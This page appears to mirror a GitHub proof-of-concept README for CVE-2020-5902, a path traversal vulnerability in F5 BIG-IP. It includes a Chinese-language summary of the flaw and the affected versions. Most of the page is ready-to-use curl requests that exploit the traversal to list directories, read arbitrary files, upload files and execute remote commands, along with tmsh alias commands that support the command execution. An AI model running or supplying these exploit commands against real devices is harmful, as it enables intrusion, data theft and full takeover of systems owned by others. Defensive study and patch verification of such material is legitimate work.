CVE-2020-5902 PoC — F5 BIG-IP 路径遍历漏洞

Source

https://github.com/un4gi/CVE-2020-5902

Associated Vulnerability

Title:F5 BIG-IP 路径遍历漏洞 (CVE-2020-5902)
Description:F5 BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。 F5 BIG-IP中存在路径遍历漏洞。攻击者可利用该漏洞执行任意的系统命令、创建或删除文件，关闭服务/执行任意的Java代码，可能完全入侵系统。以下产品及版本受到影响：F5 BIG-IP 15.1.0版本，15.0.0版本，14.1.0版本至14.1.2版本，13.1.0版本至13.1.3版本，12.1.0版本至12.1.5版本，11.6.1版本至11.6.5版本。

Description

Proof of Concept for CVE-2020-5902

Readme

# CVE-2020-5902
Proof of Concept for CVE-2020-5902

## Blog Post
https://medium.com/@un4gi/from-directory-traversal-to-rce-an-inside-look-at-cve-2020-5902-17bf483e4a9d

## List Files
- `curl -v -k "https://<ip>/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/path/here/"`

## LFI
- `curl -v -k "https://<ip>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/path/to/file"`

## File Upload
- `curl -v -k "https://<ip>/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=<filename>&content=<content>"`

## Adding tmsh cli Alias
- `tmsh create cli alias private <aliasname> command "command"`

## Deleting tmsh cli Alias
- `tmsh delete cli alias private <aliasname>`

## RCE
- `curl -v -k "https://<ip>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=<command+here>"`

File Snapshot


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